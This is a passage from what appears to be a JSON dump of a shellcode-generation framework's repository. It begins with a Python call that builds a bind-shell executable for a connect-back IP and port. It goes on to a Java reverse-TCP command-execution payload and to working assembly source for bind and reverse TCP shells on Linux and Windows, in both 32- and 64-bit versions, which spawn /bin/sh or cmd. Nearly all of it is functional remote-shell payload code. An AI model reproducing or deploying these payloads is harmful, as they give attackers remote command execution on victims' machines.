started\")\n\n    BADCHARS = [\"\\x00\", \"\\x0a\", \"\\x0d\", \"\\x3b\"]\n\n    os_target = Constants.OS.LINUX\n    os_target_arch = Constants.OS_ARCH.X32\n    s = OSShellcodes(os_target, os_target_arch, '192.168.1.9', 4443, BADCHARS)\n    dll_funcs = [\"pcap_findalldevs\", \"pcap_close\", \"pcap_compile\", \"pcap_datalink\", \"pcap_datalink_val_to_description\",\n                 \"pcap_dump\", \"pcap_dump_close\", \"pcap_dump_open\", \"pcap_file\", \"pcap_freecode\", \"pcap_geterr\",\n                 \"pcap_getevent\", \"pcap_lib_version\", \"pcap_lookupdev\", \"pcap_lookupnet\", \"pcap_loop\", \"pcap_open_live\",\n                 \"pcap_open_offline\", \"pcap_setfilter\", \"pcap_snapshot\", \"pcap_stats\"]\n\n    shellcode_type = 'bind'\n    shellcode = s.create_shellcode(\n        shellcode_type,\n        encode='',\n        make_exe=1,\n        debug=1,\n        # dll_inj_funcs=dll_funcs,\n        filename=shellcode_type,\n        # use_precompiled=False\n    )\n    # print shellcode\n    print (\"[] Generate shellcode finished\")\n    # Example of generating jsp shellcode\n    # type = Constants.ShellcodeType.JSP\n    # s = CrossOSShellcodes('127.0.0.1', 4000)\n    # print s.create_shellcode(type, False)\n"
  },
  {
    "path": "shellcodes/__init__.py",
    "content": "\n"
  },
  {
    "path": "shellcodes/data/java/src/ReverseTCP/Payload.java",
    "content": "package east;\n\nimport java.io.*;\nimport java.net.*;\n\npublic class Payload extends ClassLoader{\n\tprivate static String OS = System.getProperty(\"os.name\").toLowerCase();\n\tpublic static void main(String[] args) throws IOException {\t    \n\n\t    String[] data = parseFileContent(\"data.dat\");\n\t\tString host = data[0];\n\t\tint port = Integer.parseInt(data[1]);\n\t\tSocket socket = new Socket(host, port);\n\n\t    while (true) {\n\t\t\tBufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n\t\t\tPrintWriter out = new PrintWriter(socket.getOutputStream(), true);\n\t\t\tString command = br.readLine();\n\n\t\t\tif (command.equalsIgnoreCase(\"exit\")) break;\n\t\t    String res;\n\t\t    if (isWindows()) {\n\t\t\t    res = executeCommand(new String[]{\"cmd.exe\", \"/C\", command});\n\t\t\t}\n\t\t\t// TODO write handler for other OS\n\t\t\telse\n\t\t\t\tres = executeCommand(command.split(\" \"));\t\t\t\n\n\t\t\tout.println(res);\n\t\t}\n\t\tsocket.close();            \n\t}  \n\n\tpublic static String executeCommand(String[] command) {\n\n\t\tStringBuffer output = new StringBuffer();\n\t\tProcess p;\n\t\ttry {\n\t\t\tp = Runtime.getRuntime().exec(command);\n\t\t\tp.waitFor();\n\t\t\tBufferedReader reader = \n                            new BufferedReader(new InputStreamReader(p.getInputStream()));\n\n            String line = \"\";\t\t\t\n\t\t\twhile ((line = reader.readLine())!= null) {\n\t\t\t\toutput.append(line + \"\\n\");\n\t\t\t}\n\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn output.toString();\n\n\t}\n\n\tpublic static String[] parseFileContent(String path) {\n\t\tInputStream in = Payload.class.getResourceAsStream(path);\n\t\tBufferedReader reader = new BufferedReader(new InputStreamReader(in));\n        StringBuilder out = new StringBuilder();\n        String line;\n        try {\n\t        while ((line = reader.readLine()) != null) {\n\t            out.append(line);\n\t        }\n\t     \n\t        String text = out.toString();\n\t        reader.close();\n\t    } catch(IOException e) {\n\t    \tSystem.out.println(e.toString());\n\t    }\n\t    String text = out.toString();\n\t\treturn text.split(\";\");\t\n\t\t// return new String[]{};    \n\t}\n\n\tpublic static boolean isWindows() {\n        return (OS.indexOf(\"win\") >= 0);\n    }\n\n    public static boolean isUnix() {\n        return (OS.indexOf(\"nix\") >= 0 || OS.indexOf(\"nux\") >= 0 || OS.indexOf(\"aix\") > 0 );\n    }\n}\n\n"
  },
  {
    "path": "shellcodes/data/linux/src/bind_tcp.asm",
    "content": "global _start\n\nsection .text\n_start:\n\tpush 0x66\n\tpop eax\n\tpush 0x1\n\tpop ebx\n\txor esi, esi\n\tpush esi\n\tpush ebx\n\tpush 0x2\n\tmov ecx, esp\n\tint 0x80\n\tpop edi\n\txchg edi, eax\n\txchg ebx, eax\n\tmov al, 0x66\n\tpush esi\n\tpush word 0xBIND_PORT ;port\n\tpush word bx\n\tmov ecx, esp\n\tpush 0x10\n\tpush ecx\n\tpush edi\n\tmov ecx, esp\n\tint 0x80\n\tmov al, 0x66\n\tmov bl, 0x4\n\tpush esi\n\tpush edi\n\tmov ecx, esp\n\tint 0x80\n\tmov al, 0x66\n\tinc ebx\n\tpush esi\n\tpush esi\n\tpush edi\n\tmov ecx, esp\n\tint 0x80\n\tpop ecx\n\tpop ecx\n\tmov cl, 0x2\n\txchg ebx,eax\nloop:\n\tmov al, 0x3f\n\tint 0x80\n\tdec ecx\n\tjns loop\n\tmov al, 0x0b\n\tpush 0x68732f2f\n\tpush 0x6e69622f\n\tmov ebx, esp\n\tinc ecx\n\tmov edx, ecx\n\tint 0x80"
  },
  {
    "path": "shellcodes/data/linux/src/reverse_tcp.asm",
    "content": "BITS 32\n\nglobal _start\n\n_start:\n    ;    =============================== SOCKET =====================================\n    ;    socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3\n    ;\n    ;    int socket(int domain, int type, int protocol);\n    ;\n    ;    int socketcall(int call, unsigned long *args)\n    ;    socketcall    SYS_SOCKET      socket() args\n    ;    EAX           EBX             ECX\n    ;    102           1               (2, 1, 6)\n    ;\n    ;    SYS_SOCKET will return file descriptor (fd) in EAX.\n\n    ; EAX\n    xor eax, eax\n    mov al, 102             ; socketcall\n\n    ; EBX\n    xor ebx, ebx\n    mov bl, 1               ; SYS_SOCKET socket()\n\n    ; ECX\n    xor ecx, ecx\n    push ecx\n    push BYTE 6             ; IPPROTO_TCP   ||      int protocol);\n    push BYTE 1             ; SOCK_STREAM   ||      int type,\n    push BYTE 2             ; AF_INET       || socket(int domain,\n    mov ecx, esp            ; ECX - PTR to arguments for socket()\n    int 0x80                ; sockfd will be stored in EAX after this call\n\n    ; EAX return\n    mov esi, eax            ; save socket fd in ESI for later\n\n    ;\n    ; =============================== CONNECT =====================================\n    ;\n    ; connect(\n    ;   3,\n    ;   {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr(\"127.0.0.1\")},\n    ;   16\n    ; ) = -1 EINPROGRESS (Operation now in progress)\n    ;\n    ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);\n    ;\n\n    jmp short call_get_ip_and_port\n\nback2shellcode:\n    pop edi                 ; getting ip and port address from ESP\n\n    ; EAX\n    xor eax, eax\n    mov al, 102             ; socketcall\n\n    ; EBX\n    xor ebx, ebx\n    mov bl, 3               ; SYS_CONNECT connect()\n\n    ; ECX\n    xor edx, edx\n    ;    push edx                ; 0.0.0.0 - ALL interfaces\n    ;    push DWORD 0x0100007f   ; 127.0.0.1 in reverse  *** CONTAINS NULLs ! ***\n    ;    push DWORD 0x0101a8c0   ; 192.168.1.1 in reverse\n    push DWORD [edi]    ; push IP\n    push WORD [edi+0x4] ; push port\n    dec ebx                     ; decrease bl from 3 to 2 to use it in the next push\n    push WORD bx                ; 2 - AF_INET\n    inc ebx                     ; put back bl to 3 for SYS_CONNECT\n    mov ecx, esp                ; ptr to struct sockaddr\n\n    push BYTE 16                ;   socklen_t addrlen);\n    push ecx                    ;   const struct sockaddr *addr,\n    push esi                    ; connect(int sockfd,\n    mov ecx, esp                ; ECX = PTR to arguments for connect()\n    int 0x80                    ; sockfd will be in EBX\n\n    ;\n    ; =============================== DUP FD =====================================\n    ;\n    ; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)\n    ; to a client. For this, we can dup2 syscall to duplicate a file descriptor.\n    ; man 2 dup2\n    ; int dup2(int oldfd,           int newfd);\n    ; EAX,          EBX,            ECX\n    ; 63            sockfd          0\n    ; 63            sockfd          1\n    ; 63            sockfd          2\n    ;\n\n    ; move our sockfd to EAX\n    mov eax, ebx\n\n    xor eax, eax\n    mov al, 63              ; dup2 syscall\n    xor ecx, ecx            ; 0 - stdin\n    int 0x80                ; call dup2(sockfd, 0)\n\n    mov al, 63              ; dup2 syscall\n    mov cl, 1               ; 1 - stdout\n    int 0x80                ; call dup2(sockfd, 1)\n\n    mov al, 63              ; dup2 syscall\n    mov cl, 2               ; 2 - stderr\n    int 0x80                ; call dup2(sockfd, 2)\n\n    ;\n    ; =============================== EXECVE =====================================\n    ;\n    ; Now as we forwarded sockfd to a client, we can spawn shell.\n    ; Prepare the path, in little-endian, using the Python\n    ; >>> '//bin/sh'[::-1].encode('hex')\n    ; '68732f6e69622f2f'\n    ;\n    ; int execve(const char *filename, char *const argv[], char *const envp[]);\n    ; EAX           EBX,                    ECX,            EDX\n    ; 11            '//bin/sh'              PTR to EBX      NULL\n\n    ; EAX\n    xor eax, eax\n    mov al, 11              ; execve syscall\n\n    ; EBX\n    xor edx, edx\n    push edx                ; NULL termination of '//bin/sh' string\n    push 0x68732f6e         ; '//bin/sh' in reverse\n    push 0x69622f2f         ; beginning of '//bin/sh' string is here\n    mov ebx, esp            ; put the address of '//bin/sh' into ebx via esp\n\n    ; ECX\n    push edx                ; NULL termination of a stack\n    push ebx                ; load our '//bin/sh' on a stack\n    mov ecx, esp            ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.\n\n    ; EDX\n    push edx                ; NULL terminator\n    mov edx, esp            ; EDX is a PTR to a stack which has an address to NULL.\n    int 0x80                ; call execve(EBX, ECX, EDX)\n\ncall_get_ip_and_port:\n    call back2shellcode\n\n    ;    dd 0x0101a8c0                  ; Example: DWORD 192.168.1.1 reverse (in hex)\n    ;    db 0xc0, 0xa8, 0x01, 0x01      ; Example: BYTE 192.168.1.1 straight (in hex)\n    dd 0xCONNECTBACK_IP\n\n    ;    dw 0x4530                      ; Example: WORD 12357 reverse (in hex)\n    ;    db 0x30, 0x45                  ; Example: BYTE 12357 straight (in hex)\n    dw 0xCONNECTBACK_PORT"
  },
  {
    "path": "shellcodes/data/linux/x64/src/bind_tcp.asm",
    "content": "BITS 64\nglobal _start\nsection .text\n\n_start:\n    push   0x29\n    pop    rax\n    cdq\n    push   0x2\n    pop    rdi\n    push   0x1\n    pop    rsi\n    syscall\n    push rax\n    pop rdi\n    push rdx\n    push rdx\n    mov byte [rsp], 0x2\n    mov word [rsp + 0x2], 0xBIND_PORT\n    push rsp\n    pop rsi\n    push rdx\n    push 0x10\n    pop rdx\n    push 0x31\n    pop rax\n    syscall\n    pop rsi\n    mov al, 0x32\n    syscall\n    mov al, 0x2b\n    syscall\n    push rax\n    pop rdi\n    push 0x3\n    pop rsi\ndupe_loop:\n    dec esi\n    mov al, 0x21\n    syscall\n    jne dupe_loop\n    push rsi\n    pop rdx\n    push rsi\n    mov rdi, '//bin/sh'\n    push rdi\n    push rsp\n    pop rdi\n    mov al, 0x3b\n    syscall"
  },
  {
    "path": "shellcodes/data/linux/x64/src/reverse_tcp.asm",
    "content": "BITS 64\nglobal _start\n\n; settings\n;IP          equ 0x0100007f  ; default 127.0.0.1, contains nulls so will need mask\nIP      equ 0xCONNECTBACK_IP\n;PORT        equ 0x5c11      ; default 4444\nPORT        equ 0xCONNECTBACK_PORT\n\n; syscall kernel opcodes\nSYS_SOCKET  equ 0x29\nSYS_CONNECT equ 0x2a\nSYS_DUP2    equ 0x21\nSYS_EXECVE  equ 0x3b\n\n; argument constants\nAF_INET     equ 0x2\nSOCK_STREAM equ 0x1\n\n_start:\n; High level psuedo-C overview of shellcode logic:\n;\n; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)\n;\n; struct sockaddr = {AF_INET; [PORT; IP; 0x0]}\n;\n; connect(sockfd, &sockaddr, 16)\n;\n; dup2(sockfd, STDIN+STDOUT+STDERR)\n; execve(\"/bin/sh\", NULL, NULL)\n\ncreate_sock:\n    ; sockfd = socket(AF_INET, SOCK_STREAM, 0)\n    ; AF_INET = 2\n    ; SOCK_STREAM = 1\n    ; syscall number 41 \n\n    xor esi, esi        ; 0 out rsi\n    mul esi             ; 0 out rax, rdx\n\n                        ; rdx = IPPROTO_IP (int: 0)\n\n    inc esi             ; rsi = SOCK_STREAM (int: 1)\n\n    push AF_INET        ; rdi = AF_INET (int: 2)\n    pop rdi\n\n    add al, SYS_SOCKET\n    syscall\n\n    ; copy socket descriptor to rdi for future use \n\n    push rax\n    pop rdi\n\nstruct_sockaddr:\n    ; server.sin_family = AF_INET\n    ; server.sin_port = htons(PORT)\n    ; server.sin_addr.s_addr = inet_addr(\"127.0.0.1\")\n    ; bzero(&server.sin_zero, 8)\n\n    push rdx\n    push rdx\n\n    mov dword [rsp + 0x4], IP\n    mov word [rsp + 0x2], PORT\n    mov byte [rsp], AF_INET\n\nconnect_sock:\n    ; connect(sockfd, (struct sockaddr *)&server, sockaddr_len)\n\n    push rsp\n    pop rsi\n\n    push 0x10\n    pop rdx\n\n    push SYS_CONNECT\n    pop rax\n    syscall\n\ndupe_sockets:\n    ; dup2(sockfd, STDIN)\n    ; dup2(sockfd, STDOUT)\n    ; dup2(sockfd, STERR)\n\n    push 0x3                ; loop down file descriptors for I/O\n    pop rsi\n\ndupe_loop:\n    dec esi\n    mov al, SYS_DUP2\n    syscall\n\n    jne dupe_loop\n\nexec_shell:\n    ; execve('//bin/sh', NULL, NULL)\n\n    push rsi                    ; *argv[] = 0\n    pop rdx                     ; *envp[] = 0\n\n    push rsi                    ; '\\0'\n    mov rdi, '//bin/sh'         ; str\n    push rdi\n    push rsp\n    pop rdi                     ; rdi = &str (char*)\n\n    mov al, SYS_EXECVE          ; we fork with this syscall\n    syscall"
  },
  {
    "path": "shellcodes/data/windows/src/bind_tcp.asm",
    "content": "BITS 32\n  cld\n  call start\napi_call:\n  pushad\n  mov ebp, esp\n  xor edx, edx\n  mov edx, [fs:edx+48]\n  mov edx, [edx+12]\n  mov edx, [edx+20]\nnext_mod:\n  mov esi, [edx+40]\n  movzx ecx, word [edx+38]\n  xor edi, edi\nloop_modname:\n  xor eax, eax\n  lodsb\n  cmp al, 'a'\n  jl not_lowercase\n  sub al, 0x20\nnot_lowercase:\n  ror edi, 13\n  add edi, eax\n  loop loop_modname\n  push edx\n  push edi\n  mov edx, [edx+16]\n  mov eax, [edx+60]\n  add eax, edx\n  mov eax, [eax+120]\n  test eax, eax\n  jz get_next_mod1\n  add eax, edx\n  push eax\n  mov ecx, [eax+24]\n  mov ebx, [eax+32]\n  add ebx, edx\nget_next_func:\n  jecxz get_next_mod\n  dec ecx\n  mov esi, [ebx+ecx*4]\n  add esi, edx\n  xor edi, edi\nloop_funcname:\n  xor eax, eax\n  lodsb\n  ror edi, 13\n  add edi, eax\n  cmp al, ah\n  jne loop_funcname\n  add edi, [ebp-8]\n  cmp edi, [ebp+36]\n  jnz get_next_func\n  pop eax\n  mov ebx, [eax+36]\n  add ebx, edx\n  mov cx, [ebx+2*ecx]\n  mov ebx, [eax+28]\n  add ebx, edx\n  mov eax, [ebx+4*ecx]\n  add eax, edx\nfinish:\n  mov [esp+36], eax\n  pop ebx\n  pop ebx\n  popad\n  pop ecx\n  pop edx\n  push ecx\n  jmp eax\nget_next_mod:\n  pop eax\nget_next_mod1:\n  pop edi\n  pop edx\n  mov edx, [edx]\n  jmp short next_mod\nstart:\n  pop ebp\nbind_tcp:\n  push 0x00003233\n  push 0x5F327377\n  push esp\n  push 0x0726774C\n  call ebp\n  mov eax, 0x0190\n  sub esp, eax\n  push esp\n  push eax\n  push 0x006B8029\n  call ebp\n  push eax\n  push eax\n  push eax\n  push eax\n  inc eax\n  push eax\n  inc eax\n  push eax\n  push 0xE0DF0FEA\n  call ebp\n  xchg edi, eax\n  xor ebx, ebx\n  push ebx\n  push 0xBIND_PORT0002 ;port\n  mov esi, esp\n  push byte 16\n  push esi\n  push edi\n  push 0x6737DBC2\n  call ebp\n  push ebx\n  push edi\n  push 0xFF38E9B7\n  call ebp\n  push ebx\n  push ebx\n  push edi\n  push 0xE13BEC74\n  call ebp\n  push edi\n  xchg edi, eax\n  push 0x614D6E75\n  call ebp\nshell:\n  push 0x00646D63\n  mov ebx, esp\n  push edi\n  push edi\n  push edi\n  xor esi, esi\n  push byte 18\n  pop ecx\npush_loop:\n  push esi\n  loop push_loop\n  mov word [esp + 60], 0x0101\n  lea eax, [esp + 16]\n  mov byte [eax], 68\n  push esp\n  push eax\n  push esi\n  push esi\n  push esi\n  inc esi\n  push esi\n  dec esi\n  push esi\n  push esi\n  push ebx\n  push esi\n  push 0x863FCC79\n  call ebp\n  mov eax, esp\n  dec esi\n  push esi\n  inc esi\n  push dword [eax]\n  push 0x601D8708\n  call ebp\nexitfunk:\n  mov ebx, 0x0A2A1DE0\n  push 0x9DBD95A6\n  call ebp\n  cmp al, byte 6\n  jl short goodbye\n  cmp bl, 0xE0\n  jne short goodbye\n  mov ebx, 0x6F721347\ngoodbye:\n  push byte 0\n  push ebx\n  call ebp"
  },
  {
    "path": "shellcodes/data/windows/src/reverse_tcp.asm",
    "content": "global _start\n_start:\n\tcld\n\tcall main\n\tpusha\n\tmov ebp,esp\n\txor eax,eax\n\tmov edx,DWORD  [fs:eax+0x30]\n\tmov edx,DWORD  [edx+0xc]\n\tmov edx,DWORD  [edx+0x14]\nplace1:\n\tmov esi,DWORD  [edx+0x28]\n\tmovzx ecx,WORD  [edx+0x26]\n\txor edi,edi\nloop1:\n\tlodsb\n\tcmp al,0x61\n\tjl place2\n\tsub al,0x20\nplace2:\n\tror edi,0xd\n\tadd edi,eax\n\tloop loop1\n\tpush edx\n\tpush edi\n\tmov edx,DWORD  [edx+0x10]\n\tmov ecx,DWORD  [edx+0x3c]\n\tmov ecx,DWORD  [ecx+edx*1+0x78]\n\tjecxz place6\n\tadd ecx,edx\n\tpush ecx\n\tmov ebx,DWORD  [ecx+0x20]\n\tadd ebx,edx\n\tmov ecx,DWORD  [ecx+0x18]\nplace3:\n\tjecxz place5\n\tdec ecx\n\tmov esi,DWORD  [ebx+ecx*4]\n\tadd esi,edx\n\txor edi,edi\nplace4:\n\tlodsb\n\tror edi,0xd\n\tadd edi,eax\n\tcmp al,ah\n\tjne place4\n\tadd edi,DWORD  [ebp-0x8]\n\tcmp edi,DWORD  [ebp+0x24]\n\tjne place3\n\tpop eax\n\tmov ebx,DWORD  [eax+0x24]\n\tadd ebx,edx\n\tmov cx,WORD  [ebx+ecx*2]\n\tmov ebx,DWORD  [eax+0x1c]\n\tadd ebx,edx\n\tmov eax,DWORD  [ebx+ecx*4]\n\tadd eax,edx\n\tmov DWORD  [esp+0x24],eax\n\tpop ebx\n\tpop ebx\n\tpopa\n\tpop ecx\n\tpop edx\n\tpush ecx\n\tjmp eax\nplace5:\n\tpop edi\nplace6:\n\tpop edi\n\tpop edx\n\tmov edx,DWORD  [edx]\n\tjmp place1\nmain:\n\tpop ebp\n\tpush 0x3233\n\tpush 0x5f327377\n\tpush esp\n\tpush 0x726774c\n\tcall ebp\n\tmov eax,0x190\n\tsub esp,eax\n\tpush esp\n\tpush eax\n\tpush 0x6b8029\n\tcall ebp\n\tpush eax\n\tpush eax\n\tpush eax\n\tpush eax\n\tinc eax\n\tpush eax\n\tinc eax\n\tpush eax\n\tpush 0xe0df0fea\n\tcall ebp\n\txchg edi,eax\n\tpush 0x5\n\tpush 0xCONNECTBACK_IP    ;host\n\tpush 0xCONNECTBACK_PORT0002   ; port\n\tmov esi,esp\nplace7:\n\tpush 0x10\n\tpush esi\n\tpush edi\n\tpush 0x6174a599\n\tcall ebp\n\ttest eax,eax\n\tje place8\n\tdec DWORD  [esi+0x8]\n\tjne place7\n\tpush 0x56a2b5f0\n\tcall ebp\nplace8:\n\tpush 0x646d63\n\tmov ebx,esp\n\tpush edi\n\tpush edi\n\tpush edi\n\txor esi,esi\n\tpush 0x12\n\tpop ecx\nloop2:\n\tpush esi\n\tloop loop2\n\tmov WORD  [esp+0x3c],0x101\n\tlea eax,[esp+0x10]\n\tmov BYTE  [eax],0x44\n\tpush esp\n\tpush eax\n\tpush esi\n\tpush esi\n\tpush esi\n\tinc esi\n\tpush esi\n\tdec esi\n\tpush esi\n\tpush esi\n\tpush ebx\n\tpush esi\n\tpush 0x863fcc79\n\tcall ebp\n\tmov eax,esp\n\tdec esi\n\tpush esi\n\tinc esi\n\tpush DWORD  [eax]\n\tpush 0x601d8708\n\tcall ebp\n\tmov ebx,0x56a2b5f0\n\tpush 0x9dbd95a6\n\tcall ebp\n\tcmp al,0x6\n\tjl place9\n\tcmp bl,0xe0\n\tjne place9\n\tmov ebx,0x6f721347\nplace9:\n\tpush 0x0\n\tpush ebx\n\tcall ebp"
  },
  {
    "path": "shellcodes/data/windows/x64/src/bind_tcp.asm",
    "content": "[BITS 64]\n  cld\n  and rsp, 0xFFFFFFFFFFFFFFF0\n  call start\napi_call:\n  push r9\n  push r8\n  push rdx\n  push rcx\n  push rsi\n  xor rdx, rdx\n  mov rdx, [gs:rdx+96]\n  mov rdx, [rdx+24]\n  mov rdx, [rdx+32]\nnext_mod:\n  mov rsi, [rdx+80]\n  movzx rcx, word [rdx+74]\n  xor r9, r9\nloop_modname:\n  xor rax, rax\n  lodsb\n  cmp al, 'a'\n  jl not_lowercase\n  sub al, 0x20\nnot_lowercase:\n  ror r9d, 13\n  add r9d, eax\n  loop loop_modname\n  push rdx\n  push r9\n  mov rdx, [rdx+32]\n  mov eax, dword [rdx+60]\n  add rax, rdx\n  cmp word [rax+24], 0x020B\n  jne get_next_mod1\n  mov eax, dword [rax+136]\n  test rax, rax\n  jz get_next_mod1\n  add rax, rdx\n  push rax\n  mov ecx, dword [rax+24]\n  mov r8d, dword [rax+32]\n  add r8, rdx\nget_next_func:\n  jrcxz get_next_mod\n  dec rcx\n  mov esi, dword [r8+rcx*4]\n  add rsi, rdx\n  xor r9, r9\nloop_funcname:\n  xor rax, rax\n  lodsb\n  ror r9d, 13\n  add r9d, eax\n  cmp al, ah\n  jne loop_funcname\n  add r9, [rsp+8]\n  cmp r9d, r10d\n  jnz get_next_func\n  pop rax\n  mov r8d, dword [rax+36]\n  add r8, rdx\n  mov cx, [r8+2*rcx]\n  mov r8d, dword [rax+28]\n  add r8, rdx\n  mov eax, dword [r8+4*rcx]\n  add rax, rdx\nfinish:\n  pop r8\n  pop r8\n  pop rsi\n  pop rcx\n  pop rdx\n  pop r8\n  pop r9\n  pop r10\n  sub rsp, 32\n  push r10\n  jmp rax\nget_next_mod:\n  pop rax\nget_next_mod1:\n  pop r9\n  pop rdx\n  mov rdx, [rdx]\n  jmp next_mod\nstart:\n  pop rbp\nbind_tcp:\n  mov r14, 'ws2_32'\n  push r14\n  mov r14, rsp\n  sub rsp, 408+8\n  mov r13, rsp\n  mov r12, 0x00000000BIND_PORT0002\n  push r12\n  mov r12, rsp\n  mov rcx, r14\n  mov r10d, 0x0726774C\n  call rbp\n  mov rdx, r13\n  push 0x0101\n  pop rcx\n  mov r10d, 0x006B8029\n  call rbp\n  push rax\n  push rax\n  xor r9, r9\n  xor r8, r8\n  inc rax\n  mov rdx, rax\n  inc rax\n  mov rcx, rax\n  mov r10d, 0xE0DF0FEA\n  call rbp\n  mov rdi, rax\n  push byte 16\n  pop r8\n  mov rdx, r12\n  mov rcx, rdi\n  mov r10d, 0x6737DBC2\n  call rbp\n  xor rdx, rdx\n  mov rcx, rdi\n  mov r10d, 0xFF38E9B7\n  call rbp\n  xor r8, r8\n  xor rdx, rdx\n  mov rcx, rdi\n  mov r10d, 0xE13BEC74\n  call rbp\n  mov rcx, rdi\n  mov rdi, rax\n  mov r10d, 0x614D6E75\n  call rbp\n  add rsp, ( (408+8) + (8*4) + (32*7) )\nshell:\n  mov r8, 'cmd'\n  push r8\n  push r8\n  mov rdx, rsp\n  push rdi\n  push rdi\n  push rdi\n  xor r8, r8\n  push byte 13\n  pop rcx\npush_loop:\n  push r8\n  loop push_loop\n  mov word [rsp+84], 0x0101\n  lea rax, [rsp+24]\n  mov byte [rax], 104\n  mov rsi, rsp\n  push rsi\n  push rax\n  push r8\n  push r8\n  push r8\n  inc r8\n  push r8\n  dec r8\n  mov r9, r8\n  mov rcx, r8\n  mov r10d, 0x863FCC79\n  call rbp\n  xor rdx, rdx\n  dec rdx\n  mov ecx, dword [rsi]\n  mov r10d, 0x601D8708\n  call rbp\nexitfunk:\n  mov ebx, 0x0A2A1DE0\n  mov r10d, 0x9DBD95A6\n  call rbp\n  add rsp, 40\n  cmp al, byte 6\n  jl short goodbye\n  cmp bl, 0xE0\n  jne short goodbye\n  mov ebx, 0x6F721347\ngoodbye:\n  push byte 0\n  pop rcx\n  mov r10d, ebx\n  call rbp"
  },
  {
    "path": "shellcodes/data/windows/x64/src/reverse_tcp.asm",
    "content": "[BITS 64]\n  cld\n  and rsp, 0xFFFFFFFFFFFFFFF0\n  call start\napi_call:\n  push r9\n  push r8\n  push rdx\n  push rcx\n  push rsi\n  xor rdx, rdx\n  mov rdx, [gs:rdx+96]\n  mov rdx, [rdx+24]\n  mov rdx, [rdx+32]\nnext_mod:\n  mov rsi, [rdx+80]\n  movzx rcx, word [rdx+74]\n  xor r9, r9\nloop_modname:\n  xor rax, rax\n  lodsb\n  cmp al, 'a'\n  jl not_lowercase\n  sub al, 0x20\nnot_lowercase:\n  ror r9d, 13\n  add r9d, eax\n  loop loop_modname\n  push rdx\n  push r9\n  mov rdx, [rdx+32]\n  mov eax, dword [rdx+60]\n  add rax, rdx\n  cmp word [rax+24], 0x020B\n  jne get_next_mod1\n  mov eax, dword [rax+136]\n  test rax, rax\n  jz get_next_mod1\n  add rax, rdx\n  push rax\n  mov ecx, dword [rax+24]\n  mov r8d, dword [rax+32]\n  add r8, rdx\nget_next_func:\n  jrcxz get_next_mod\n  dec rcx\n  mov esi, dword [r8+rcx*4]\n  add rsi, rdx\n  xor r9, r9\nloop_funcname:\n  xor rax, rax\n  lodsb\n  ror r9d, 13\n  add r9d, eax\n  cmp al, ah\n  jne loop_funcname\n  add r9, [rsp+8]\n  cmp r9d, r10d\n  jnz get_next_func\n  pop rax\n  mov r8d, dword [rax+36]\n  add r8, rdx\n  mov cx, [r8+2*rcx]\n  mov r8d, dword [rax+28]\n  add r8, rdx\n  mov eax, dword [r8+4*rcx]\n  add rax, rdx\nfinish:\n  pop r8\n  pop r8\n  pop rsi\n  pop rcx\n  pop rdx\n  pop r8\n  pop r9\n  pop r10\n  sub rsp, 32\n  push r10\n  jmp rax\nget_next_mod:\n  pop rax\nget_next_mod1:\n  pop r9\n  pop rdx\n  mov rdx, [rdx]\n  jmp next_mod\nstart:\n  pop rbp\nreverse_tcp:\n  mov r14, 'ws2_32'\n  push r14\n  mov r14, rsp\n  sub rsp, 408+8\n  mov r13, rsp\n  mov r12, 0xCONNECTBACK_IPCONNECTBACK_PORT0002\n  push r12\n  mov r12, rsp\n  mov rcx, r14\n  mov r10d, 0x0726774C\n  call rbp\n  mov rdx, r13\n  push 0x0101\n  pop rcx\n  mov r10d, 0x006B8029\n  call rbp\n  push rax\n  push rax\n  xor r9, r9\n  xor r8, r8\n  inc rax\n  mov rdx, rax\n  inc rax\n  mov rcx, rax\n  mov r10d, 0xE0DF0FEA\n  call rbp\n  mov rdi, rax\n  push byte 16\n  pop r8\n  mov rdx, r12\n  mov rcx, rdi\n  mov r10d, 0x6174A599\n  call rbp\n  add rsp, ( (408+8) + (8*4) + (32*4) )\nshell:\n  mov r8, 'cmd'\n  push r8\n  push r8\n  mov rdx, rsp\n  push rdi\n  push rdi\n  push rdi\n  xor r8, r8\n  push byte 13\n  pop rcx\npush_loop:\n  push r8\n  loop push_loop\n  mov word [rsp+84], 0x0101\n  lea rax, [rsp+24]\n  mov byte [rax], 104\n  mov rsi, rsp\n  push rsi\n  push rax\n  push r8\n  push r8\n  push r8\n  inc r8\n  push r8\n  dec r8\n  mov r9, r8\n  mov rcx, r8\n  mov r10d, 0x863FCC79\n  call rbp\n  xor rdx, rdx\n  dec rdx\n  mov ecx, dword [rsi]\n  mov r10d, 0x601D8708\n  call rbp\nexitfunk:\n  mov ebx, 0x0A2A1DE0\n  mov r10d, 0x9DBD95A6\n  call rbp\n  add rsp, 40\n  cmp al, byte 6\n  jl short goodbye\n  cmp bl, 0xE0\n  jne short goodbye\n  mov ebx, 0x6F721347\ngoodbye:\n  push byte 0\n  pop rcx\n  mov r10d, ebx\n  call rbp"
  },
  {
    "path": "shellcodes/shellcode.py",
    "content": "class Shellcode:\n    def __init__(self, os_target='', os_target_arch='', connectback_ip='localhost', connectback_port=5555, badchars=['\\x00']):\n        self.OS_TARGET = os_target\n        self.OS_TARGET_ARCH = os_target_arch\n        self.CONNECTBACK_IP = connectback_ip\n        self.CONNECTBACK_PORT = connectback_port\n        self.BADCHARS = badchars\n        return\n\n    def get_shellcode(self, inline=False):\n        return ''\n\n    def make_inline(self, payload):\n        payload = payload.replace('\\t',' ')\n        payload = payload.replace('\\r',' ')\n        payload = payload.replace('\\n',' ')\n        return payload\n"
  },
  {
    "path": "shellcodes/shellcode_payload.py",
